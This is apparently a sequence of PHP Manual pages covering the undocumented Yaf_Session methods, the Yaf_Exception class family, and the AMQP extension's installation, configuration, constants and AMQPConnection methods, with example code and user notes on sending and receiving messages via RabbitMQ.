Yaf_Session::offsetUnset — The offsetUnset purpose

Description

public void Yaf_Session::offsetUnset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::offsetSet
Yaf_Session::rewind
Yaf_Session


The rewind purpose

Yaf_Session::offsetUnset
Yaf_Session::__set
Yaf_Session
PHP Manual

Yaf_Session::rewind

(PECL yaf >=1.0.0)

Yaf_Session::rewind — The rewind purpose

Description

public void Yaf_Session::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::offsetUnset
Yaf_Session::__set
Yaf_Session


The __set purpose

Yaf_Session::rewind
Yaf_Session::__sleep
Yaf_Session
PHP Manual

Yaf_Session::__set

(PECL yaf >=1.0.0)

Yaf_Session::__set — The __set purpose

Description

public void Yaf_Session::__set ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::rewind
Yaf_Session::__sleep
Yaf_Session


The __sleep purpose

Yaf_Session::__set
Yaf_Session::start
Yaf_Session
PHP Manual

Yaf_Session::__sleep

(PECL yaf >=1.0.0)

Yaf_Session::__sleep — The __sleep purpose

Description

private void Yaf_Session::__sleep ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__set
Yaf_Session::start
Yaf_Session


The start purpose

Yaf_Session::__sleep
Yaf_Session::__unset
Yaf_Session
PHP Manual

Yaf_Session::start

(PECL yaf >=1.0.0)

Yaf_Session::start — The start purpose

Description

public void Yaf_Session::start ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__sleep
Yaf_Session::__unset
Yaf_Session


The __unset purpose

Yaf_Session::start
Yaf_Session::valid
Yaf_Session
PHP Manual

Yaf_Session::__unset

(PECL yaf >=1.0.0)

Yaf_Session::__unset — The __unset purpose

Description

public void Yaf_Session::__unset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::start
Yaf_Session::valid
Yaf_Session


The valid purpose

Yaf_Session::__unset
Yaf_Session::__wakeup
Yaf_Session
PHP Manual

Yaf_Session::valid

(PECL yaf >=1.0.0)

Yaf_Session::valid — The valid purpose

Description

public void Yaf_Session::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__unset
Yaf_Session::__wakeup
Yaf_Session


The __wakeup purpose

Yaf_Session::valid
Yaf_Exception
Yaf_Session
PHP Manual

Yaf_Session::__wakeup

(PECL yaf >=1.0.0)

Yaf_Session::__wakeup — The __wakeup purpose

Description

private void Yaf_Session::__wakeup ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::valid
Yaf_Exception
Yaf_Session


The Yaf_Exception class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception extends Exception {
/* Properties */
protected $message ;
protected $code ;
protected $previous ;
/* Methods */
public __construct ( void )
public void getPrevious ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

message

code

file

line

previous

Table of Contents

  • Yaf_Exception::__construct — The __construct purpose
  • Yaf_Exception::getPrevious — The getPrevious purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Session::__wakeup
Yaf_Exception::__construct
Yaf


The __construct purpose

Yaf_Exception
Yaf_Exception::getPrevious
Yaf_Exception
PHP Manual

Yaf_Exception::__construct

(PECL yaf >=1.0.0)

Yaf_Exception::__construct — The __construct purpose

Description

public Yaf_Exception::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception
Yaf_Exception::getPrevious
Yaf_Exception


The getPrevious purpose

Yaf_Exception::__construct
Yaf_Exception_TypeError
Yaf_Exception
PHP Manual

Yaf_Exception::getPrevious

(PECL yaf >=1.0.0)

Yaf_Exception::getPrevious — The getPrevious purpose

Description

public void Yaf_Exception::getPrevious ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception::__construct
Yaf_Exception_TypeError
Yaf_Exception


The Yaf_Exception_TypeError class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_TypeError extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception::getPrevious
Yaf_Exception_StartupError
Yaf


The Yaf_Exception_StartupError class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_StartupError extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_TypeError
Yaf_Exception_DispatchFailed
Yaf


The Yaf_Exception_DispatchFailed class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_DispatchFailed extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_StartupError
Yaf_Exception_RouterFailed
Yaf


The Yaf_Exception_RouterFailed class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_RouterFailed extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_DispatchFailed
Yaf_Exception_LoadFailed
Yaf


The Yaf_Exception_LoadFailed class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_LoadFailed extends Yaf_Exception {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_RouterFailed
Yaf_Exception_LoadFailed_Module
Yaf


The Yaf_Exception_LoadFailed_Module class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_Module extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_LoadFailed
Yaf_Exception_LoadFailed_Controller
Yaf


The Yaf_Exception_LoadFailed_Controller class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_Controller extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_LoadFailed_Module
Yaf_Exception_LoadFailed_Action
Yaf


The Yaf_Exception_LoadFailed_Action class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_Action extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_LoadFailed_Controller
Yaf_Exception_LoadFailed_View
Yaf


The Yaf_Exception_LoadFailed_View class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Exception_LoadFailed_View extends Yaf_Exception_LoadFailed {
/* Properties */
/* Methods */
/* Inherited methods */
public Yaf_Exception::__construct ( void )
public void Yaf_Exception::getPrevious ( void )
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_LoadFailed_Action
Other Services
Yaf


Other Services

  • AMQP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • AMQPConnection — The AMQPConnection class
    • AMQPExchange — The AMQPExchange class
    • AMQPQueue — The AMQPQueue class
  • chdb — Constant hash database
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • chdb — The chdb class
    • chdb Functions
  • cURL — Client URL Library
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • cURL Functions
  • FAM — File Alteration Monitor
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • FAM Functions
  • FTP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • FTP Functions
  • Gearman
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GearmanClient — The GearmanClient class
    • GearmanJob — The GearmanJob class
    • GearmanTask — The GearmanTask class
    • GearmanWorker — The GearmanWorker class
  • Gopher — Net Gopher
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Gopher Functions
  • Gupnp
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Gupnp Functions
  • HTTP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Request Options — Options usable with the HttpRequest class and request functions
    • HttpDeflateStream — The HttpDeflateStream class
    • HttpInflateStream — The HttpInflateStream class
    • HttpMessage — The HttpMessage class
    • HttpQueryString — The HttpQueryString class
    • HttpRequest — The HttpRequest
    • HttpRequestPool — The HttpRequestPool class
    • HttpResponse — The HttpResponse
    • HTTP Functions
  • Hyperwave
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Integration with Apache
    • Hyperwave Functions
  • Hyperwave API
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Hyperwave API Functions
  • Java — PHP / Java Integration
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Java Servlet SAPI
    • Examples
    • Java Functions
  • LDAP — Lightweight Directory Access Protocol
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Using the PHP LDAP calls
    • Examples
    • LDAP Functions
  • Lotus Notes
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Lotus Notes Functions
  • Memcache
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Memcache — The Memcache class
    • Memcache Functions
  • Memcached
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Expiration Times
    • Callbacks
    • Sessions support
    • Memcached — The Memcached class
  • mqseries
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • mqseries Functions
  • Network
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Network Functions
  • RRD — RRDtool
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • RRD Functions
    • RRDCreator — The RRDCreator class
    • RRDGraph — The RRDGraph class
    • RRDUpdater — The RRDUpdater class
  • SAM — Simple Asynchronous Messaging
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • SAM Functions
  • SNMP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SNMP Functions
    • SNMP — The SNMP class
    • SNMPException — The SNMPException class
  • Sockets
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Socket Errors
    • Socket Functions
  • SSH2 — Secure Shell2
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SSH2 Functions
  • Stomp — Stomp Client
    • Introduction
    • Installing/Configuring
    • Examples
    • Stomp Functions
    • Stomp — The Stomp class
    • StompFrame — The StompFrame class
    • StompException — The StompException class
  • SVM — Support Vector Machine
    • Introduction
    • Installing/Configuring
    • Examples
    • SVM — The SVM class
    • SVMModel — The SVMModel class
  • SVN — Subversion
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SVN Functions
  • TCP — TCP Wrappers
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • TCP Functions
  • Varnish
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • VarnishAdmin — The VarnishAdmin class
    • VarnishStat — The VarnishStat class
    • VarnishLog — The VarnishLog class
  • YAZ
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • YAZ Functions
  • YP/NIS
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • YP/NIS Functions

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Exception_LoadFailed_View
AMQP
Function Reference


AMQP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • AMQPConnection — The AMQPConnection class
    • AMQPConnection::connect — Establish a connection with the AMQP broker.
    • AMQPConnection::__construct — Create an instance of AMQPConnection
    • AMQPConnection::disconnect — Closes the connection with the AMQP broker.
    • AMQPConnection::isConnected — Determine if the AMQPConnection object is connected to the broker.
    • AMQPConnection::reconnect — Closes any open connection and creates a new connection with the AMQP broker.
    • AMQPConnection::setHost — Set the amqp host.
    • AMQPConnection::setLogin — Set the login.
    • AMQPConnection::setPassword — Set the password.
    • AMQPConnection::setPort — Set the port.
    • AMQPConnection::setVhost — Set the amqp virtual host
  • AMQPExchange — The AMQPExchange class
    • AMQPExchange::bind — The bind purpose
    • AMQPExchange::__construct — Create an instance of AMQPExchange
    • AMQPExchange::declare — Declare a new exchange on the broker.
    • AMQPExchange::delete — Delete the exchange from the broker.
    • AMQPExchange::publish — Publish a message to an exchange.
  • AMQPQueue — The AMQPQueue class
    • AMQPQueue::ack — Acknowledge the receipt of a message
    • AMQPQueue::bind — Bind the given queue to a routing key on an exchange.
    • AMQPQueue::cancel — Cancel a queue binding.
    • AMQPQueue::__construct — Create an instance of an AMQPQueue object.
    • AMQPQueue::consume — The consume purpose
    • AMQPQueue::declare — Declare a new queue
    • AMQPQueue::delete — Delete a queue and its contents.
    • AMQPQueue::get — Retrieve the next message from the queue.
    • AMQPQueue::purge — Purge the contents of a queue
    • AMQPQueue::unbind — Unbind the queue from a routing key.

User Contributed Notes

There are no user contributed notes for this page.
Other Services
Introduction
Other Services


Introduction

» AMQP stands for » Advanced Message Queue Protocol, which is an open standard middleware layer for message routing and queuing. This extension is compatible with any Version 0-8 compatible AMQP broker, such as » RabbitMQ and » OpenAMQ.

This extension relies on the » librabbitmq RPC library for communicating with the AMQP broker. Though named "rabbit", this library is compatible with all Version 0-8 compatible AMQP brokers.

User Contributed Notes

There are no user contributed notes for this page.
AMQP
Installing/Configuring
AMQP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
AMQP


Requirements

This extension requires » librabbitmq client library.

User Contributed Notes

josh at getpantheon dot com 11-Jun-2011 03:02
The PECL package also appears to only build cleanly against PHP 5.3.
Installing/Configuring
Installation
Installing/Configuring


Installation

To install the AMQP PHP extension, you must first install the » librabbitmq library. Use the following steps to download and install the library:

# Download the rabbitmq-c library
  hg clone http://hg.rabbitmq.com/rabbitmq-c/rev/3c549bb09c16 rabbitmq-c
  cd rabbitmq-c
  # Add the codegen requirement
  hg clone http://hg.rabbitmq.com/rabbitmq-codegen/rev/f8b34141e6cb codegen
  # Configure, compile and install
  autoreconf -i && ./configure && make && sudo make install

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/amqp.

Note to Windows users: This extension does not currently support Windows since the librabbitmq library does not yet support Windows.

User Contributed Notes

LilaeaMedia 11-Dec-2011 04:54
Make sure you are using http://pecl.php.net/get/amqp
soham 02-May-2011 11:41
If you get these errors:

"error: possibly undefined macro: AM_PROG_LIBTOOL" ===> you need to install 'libtool'.

"Can't exec "aclocal"  ===> You need to install 'automake'

Use your linux distro's default providers to install them e.g. on opensuse, I'd use 'zypper install ..'
brian dot ngure at gmail dot com 10-Dec-2010 11:26
Have a look at the installation instructions on the Google Code site, found here: http://code.google.com/p/php-amqp/

Brian
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Amqp Configure Options
Name | Default | Changeable | Changelog
amqp.host | localhost | PHP_INI_ALL |
amqp.vhost | / | PHP_INI_ALL |
amqp.port | 5672 | PHP_INI_ALL |
amqp.login | guest | PHP_INI_ALL |
amqp.password | guest | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

amqp.host string

The host to which to connect.

amqp.vhost string

The virtual host to which to connect on the host.

amqp.port integer

The port on which to connect.

amqp.login string

The login (username) used for authenticating against the host.

amqp.password string

The password used for authenticating against the host.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

AMQP_DURABLE (integer)
Durable exchanges and queues will survive a broker restart, complete with all of their data.
AMQP_PASSIVE (integer)
Passive exchanges are queues will not be redeclared, but the broker will throw an error if the exchange or queue does not exist.
AMQP_EXCLUSIVE (integer)
Valid for queues only, this flag indicates that only one client can be listening to and consuming from this queue.
AMQP_AUTODELETE (integer)
For exchanges, the auto delete flag indicates that the exchange will be deleted as soon as no more queues are bound to it. If no queues were ever bound the exchange, the exchange will never be deleted. For queues, the auto delete flag indicates that the queue will be deleted as soon as there are no more listeners subscribed to it. If no subscription has ever been active, the queue will never be deleted. Note: Exclusive queues will always be automatically deleted with the client disconnects.
AMQP_INTERNAL (integer)
Clients are not allowed to make specific queue bindings to exchanges defined with this flag.
AMQP_NOLOCAL (integer)
When passed to the consume method for a clustered environment, do not consume from the local node.
AMQP_NOACK (integer)
When passed to the consumer method, the messages will not be marked as delivered.
AMQP_IFEMPTY (integer)
Passed on queue creation, this flag indicates that the queue should be deleted if it becomes empty.
AMQP_IFUNUSED (integer)
Passed on queue or exchange creation, this flag indicates that the queue or exchange should be deleted when no clients are connected to the given queue or exchange.
AMQP_MANDATORY (integer)
When publishing a message, the message must be routed to a valid queue. If it is not, an error will be returned.
AMQP_IMMEDIATE (integer)
When publishing a message, mark this message for immediate processing by the broker. (High priority message.)
AMQP_MULTIPLE (integer)
?
AMQP_EX_TYPE_DIRECT (string)
A direct exchange type.
AMQP_EX_TYPE_FANOUT (string)
A fanout exchange type.
AMQP_EX_TYPE_TOPIC (string)
A topic exchange type.
AMQP_EX_TYPE_HEADER (string)
A header exchange type.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
AMQP


Examples

Example #1 AMQP Example

<?php

// Create a connection
$cnn = new AMQPConnection();
$cnn->connect();

// Declare a new exchange
$ex = new AMQPExchange($cnn);
$ex->declare('exchange1', AMQP_EX_TYPE_FANOUT);

// Create a new queue
$q = new AMQPQueue($cnn);
$q->declare('queue1');

// Bind it on the exchange to routing.key
$ex->bind('queue1', 'routing.key');

// Publish a message to the exchange with a routing key
$ex->publish('message', 'routing.key');

// Read from the queue
$msg = $q->consume();

?>

User Contributed Notes

kurt at surfmerchants dot com 24-May-2011 09:05
The docs for this extension are a little vague, so I'm adding a few things I found helpful in getting this to work.

Helpful reading:
* http://en.wikipedia.org/wiki/AMQP
* http://www.rabbitmq.com/getstarted.html

Helpful tool:
/usr/sbin/rabbitmqctl list_queues

Here I've split the usage example into a sender and receiver, because that is much more useful (at least to me):

send.php :
#!/usr/bin/php -q
<?php
// config
$exchangeName = 'myexchange';
$routingKey = 'routing.key';
$message = $argv[1];

// connect
$connection = new AMQPConnection();
$connection->connect();

// setup exchange
$ex = new AMQPExchange($connection);
$ex->declare($exchangeName, AMQP_EX_TYPE_FANOUT);

// Publish a message to the exchange with our routing key
$ex->publish($message, $routingKey);

// disconnect
$connection->disconnect();

?>

receive.php:
#!/usr/bin/php -q
<?php
// config
$exchangeName = 'myexchange';
$routingKey = 'routing.key';
$queueName = 'myqueue';

// connect
$connection = new AMQPConnection();
$connection->connect();

// setup our queue
$q = new AMQPQueue($connection);
$q->declare($queueName);

// Bind it on the exchange to routing.key
$q->bind($exchangeName, $routingKey);

// show the message
print_r($q->get());

// disconnect
$connection->disconnect();

?>

The first time you run "./send.php 'hello world'", then "./receive.php", you will not get the message, because the receiver creates the queue. That's OK. While you *can* create the queue in the sender, this is not so useful, because it's really the receivers that read the queue, and I've found that various clients are very picky about the details of how the queue was created (for example, if I create the queue in my php sender, then try to listen with a python receiver, it throws errors, but if I let the python receiver create the queue, all is well).
So, the second time you send a message (after running receive.php once), the queue will exist, and you will then get the message the next time you run receive.

Another thing I noticed is that I'm using $q->get() instead of $q->consume(), because the latter seems to segfault (at least on my CentOS 5.5 system).
Predefined Constants
AMQPConnection
AMQP


The AMQPConnection class

(No version information available, might only be in SVN)

Introduction

Represents a connection to an AMQP broker.

Class synopsis

AMQPConnection {
/* Methods */
public bool connect ( void )
public __construct ([ array $credentials = array() ] )
public bool disconnect ( void )
public bool isConnected ( void )
public bool reconnect ( void )
public bool setHost ( string $host )
public bool setLogin ( string $login )
public bool setPassword ( string $password )
public bool setPort ( int $port )
public bool setVhost ( string $vhost )
}

Table of Contents

  • AMQPConnection::connect — Establish a connection with the AMQP broker.
  • AMQPConnection::__construct — Create an instance of AMQPConnection
  • AMQPConnection::disconnect — Closes the connection with the AMQP broker.
  • AMQPConnection::isConnected — Determine if the AMQPConnection object is connected to the broker.
  • AMQPConnection::reconnect — Closes any open connection and creates a new connection with the AMQP broker.
  • AMQPConnection::setHost — Set the amqp host.
  • AMQPConnection::setLogin — Set the login.
  • AMQPConnection::setPassword — Set the password.
  • AMQPConnection::setPort — Set the port.
  • AMQPConnection::setVhost — Set the amqp virtual host

User Contributed Notes

There are no user contributed notes for this page.
Examples
AMQPConnection::connect
AMQP


Establish a connection with the AMQP broker.

AMQPConnection
AMQPConnection::__construct
AMQPConnection
PHP Manual

AMQPConnection::connect

(No version information available, might only be in SVN)

AMQPConnection::connect — Establish a connection with the AMQP broker.

Description

public bool AMQPConnection::connect ( void )

This method will initiate a connection with the AMQP broker.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 AMQPConnection::connect() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the login details
$cnn->setLogin('mylogin');
$cnn->setPassword('mypass');

if ($cnn->connect()) {
    echo "Established a connection to the broker";
}
else {
    echo "Cannot connect to the broker";
}

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection
AMQPConnection::__construct
AMQPConnection


Create an instance of AMQPConnection

AMQPConnection::connect
AMQPConnection::disconnect
AMQPConnection
PHP Manual

AMQPConnection::__construct

(PECL amqp >= Unknown)

AMQPConnection::__construct — Create an instance of AMQPConnection

Description

public AMQPConnection::__construct ([ array $credentials = array() ] )

Creates an AMQPConnection instance representing a connection to an AMQP broker.

Parameters

credentials

The credentials is an optional array of credential information for connecting to the AMQP broker.

Supported indexes
key | Description | Default value
host The host to connect too

Note: Max 32 characters

 amqp.host
port | Port on the host | amqp.port
vhost The virtual host on the host

Note: Max 32 characters

 amqp.vhost
login The login name to use.

Note: Max 32 characters

 amqp.login
password Password

Note: Max 32 characters

 amqp.password

All other keys will be ignored.

Return Values

An AMQPConnection object.

Errors/Exceptions

Throws AMQPException exception on parameter parsing failures, and option errors.

Examples

Example #1 AMQPConnection::__construct() example

<?php

/* Create a connection using the INI values */
$connection1 = new AMQPConnection();

/* Specifying all keys */
$connection2 = new AMQPConnection(array(
    'host' => 'example.host',
    'vhost' => '/',
    'port' => 5763,
    'login' => 'user',
    'password' => 'password'
));

?>

Notes

Note:

A connection will not be established untill AMQPConnection::connect() is called.

User Contributed Notes

bolo at nospam dot autistici dot org 27-Sep-2011 03:45
A simply function that help manage connections to AMQP server.
It works fine in debian wheezy php 5.3.8.
Change Login & Password value at your plasure.
(Host will be the default value = 127.0.0.1).

<?php
function amqp_connection() {

    $connection = new AMQPConnection();
    $connection->setLogin('guest');
    $connection->setPassword('guest');
    $connection->connect();

    if (!$connection->isConnected()) {
         echo "Cannot connect to the broker";
    }
    return $connection;
}

//Next manage the connection with $connection var

// function ...

// $connection=amqp_connection();

// ...
?>
AMQPConnection::connect
AMQPConnection::disconnect
AMQPConnection


Closes the connection with the AMQP broker.

AMQPConnection::__construct
AMQPConnection::isConnected
AMQPConnection
PHP Manual

AMQPConnection::disconnect

(No version information available, might only be in SVN)

AMQPConnection::disconnect — Closes the connection with the AMQP broker.

Description

public bool AMQPConnection::disconnect ( void )

This method will close an open connection with the AMQP broker.

Parameters

void

Return Values

Returns true if connection was successfully closed, false otherwise.

Examples

Example #1 AMQPConnection::disconnect() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the login details
$cnn->setLogin('mylogin');
$cnn->setPassword('mypass');

if (!$cnn->connect()) {
    throw new Exception('Could not connect');
}

// do something interesting

if (!$cnn->disconnect()) {
    throw new Exception('Could not disconnect');
}

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::__construct
AMQPConnection::isConnected
AMQPConnection


Determine if the AMQPConnection object is connected to the broker.

AMQPConnection::disconnect
AMQPConnection::reconnect
AMQPConnection
PHP Manual

AMQPConnection::isConnected

(PECL amqp >= Unknown)

AMQPConnection::isConnected — Determine if the AMQPConnection object is connected to the broker.

Description

public bool AMQPConnection::isConnected ( void )

This method will check whether the connection to the AMQP broker is still valid. It does so by checking the return status of the last command.

Parameters

This function has no parameters.

Return Values

Returns true if connected, false otherwise

Examples

Example #1 AMQPConnection::isConnected() example

<?php

/* Create a new connection */
$conn = new AMQPConnection();
$conn->connect();

/* Check that connection is working */
if ($conn->isConnected()) {
    echo "Connected to the broker \o/";
}
else {
    echo "Cannot connect to the broker";
}

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::disconnect
AMQPConnection::reconnect
AMQPConnection


Closes any open connection and creates a new connection with the AMQP broker.

AMQPConnection::isConnected
AMQPConnection::setHost
AMQPConnection
PHP Manual

AMQPConnection::reconnect

(No version information available, might only be in SVN)

AMQPConnection::reconnect — Closes any open connection and creates a new connection with the AMQP broker.

Description

public bool AMQPConnection::reconnect ( void )

This method will close any open connections and initiate a new connection with the AMQP broker.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 AMQPConnection::reconnect() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the login details
$cnn->setLogin('mylogin');
$cnn->setPassword('mypass');

$cnn->connect();

// do something interesting

// ensure we have a valid connection
if (!$cnn->reconnect()) {
    echo "Could not reconnect to server";
}

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::isConnected
AMQPConnection::setHost
AMQPConnection


Set the amqp host.

AMQPConnection::reconnect
AMQPConnection::setLogin
AMQPConnection
PHP Manual

AMQPConnection::setHost

(No version information available, might only be in SVN)

AMQPConnection::setHost — Set the amqp host.

Description

public bool AMQPConnection::setHost ( string $host )

This method will set the hostname used to connect to the AMQP broker.

Parameters

host

The hostname of the AMQP broker.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an AMQPConnectionException if host is longer then 1024characters.

Examples

Example #1 AMQPConnection::setHost() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the hostname
$cnn->setHost('myhost.com');

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::reconnect
AMQPConnection::setLogin
AMQPConnection


Set the login.

AMQPConnection::setHost
AMQPConnection::setPassword
AMQPConnection
PHP Manual

AMQPConnection::setLogin

(No version information available, might only be in SVN)

AMQPConnection::setLogin — Set the login.

Description

public bool AMQPConnection::setLogin ( string $login )

This method will set the login string used to connect to the AMQP broker.

Parameters

login

The login string used to authenticate with the AMQP broker.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an AMQPConnectionException if login is longer then 32characters.

Examples

Example #1 AMQPConnection::setLogin() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the login
$cnn->setLogin('myusername');

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::setHost
AMQPConnection::setPassword
AMQPConnection


Set the password.

AMQPConnection::setLogin
AMQPConnection::setPort
AMQPConnection
PHP Manual

AMQPConnection::setPassword

(No version information available, might only be in SVN)

AMQPConnection::setPassword — Set the password.

Description

public bool AMQPConnection::setPassword ( string $password )

This method will set the password string used to connect to the AMQP broker.

Parameters

password

The password string used to authenticate with the AMQP broker.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an AMQPConnectionException if password is longer then 32characters.

Examples

Example #1 AMQPConnection::setPassword() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the password
$cnn->setPassword('mypassword');

?>

User Contributed Notes

There are no user contributed notes for this page.
AMQPConnection::setLogin
AMQPConnection::setPort
AMQPConnection


Set the port.

AMQPConnection::setPassword
AMQPConnection::setVhost
AMQPConnection
PHP Manual

AMQPConnection::setPort

(No version information available, might only be in SVN)

AMQPConnection::setPort — Set the port.

Description

public bool AMQPConnection::setPort ( int $port )

This method will set the port used to connect to the AMQP broker.

Parameters

port

The port used to connect to the AMQP broker.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an AMQPConnectionException if port is longer not between 1 and 65535.

Examples

Example #1 AMQPConnection::setPort() example

<?php

/* Create a new connection */
$cnn = new AMQPConnection();

// set the port
$cnn->setPort(5672);

?>

User Contributed Notes

